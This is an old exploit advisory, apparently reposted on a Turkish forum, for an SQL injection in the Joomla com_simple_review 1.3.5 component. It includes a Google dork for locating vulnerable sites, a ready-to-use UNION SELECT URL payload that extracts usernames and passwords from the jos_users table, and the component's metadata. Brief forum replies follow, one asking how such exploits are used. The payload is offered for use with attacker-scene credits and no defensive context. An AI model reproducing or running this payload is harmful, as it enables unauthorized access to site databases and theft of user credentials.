#Joomla com_simple_review Sql injection Author : EcHoLL# www.warezturk.org www.tahribat.com# Greetz : Black_label Hippi Godlike Nitrous# Module_Name: com_simple_review# Script_Name: Joomla# Google_Dork: inurl:"com_simple_review" www.scriptpage.com/index. php?option=com_simple_review&category=4+AND+1=2+UNION+SELECT+0, concat_ws(username,0x3a, password),2+from+jos_users-- <name>simple_review</name> <creationDate>29/05/2006</creationDate> <author>Rowan Youngson</author> <copyright>This component in released under the Mozilla Public License Version 1.1</copyright> <authorEmail> rowans@gmail.com </authorEmail> <authorUrl>www.row1.info</authorUrl> <version>1.3.5</version> <description>Simple Review is a Review component for the Mambo CMS</description># milw0rm.com milw0rm link http://www.milw0rm.com/exploits/7667 << Nitrous@TahriBaT.com >>

yazık bu joomlaya yaw :) Sanıyorum kendi ataszümü yaptım, kaynak belirterek kullanabilirsiniz. 10.05.2013 tarihli google arama sonucu : Aradığınız - "herşeyin hayırlısı rampanın bayırlısı" - ile ilgili hiçbir arama sonucu mevcut değil. Not : Syleyeni belli olduğu için ataszü değil, zlüsz oluyormuş, dolayısı ile kendi zlüszümü yapmış oldum :)

nası kullanılıyor la bunlar?bi ar bu dkümmanı incelemşştim http://www.tahribat.com/doc. asp?docid=198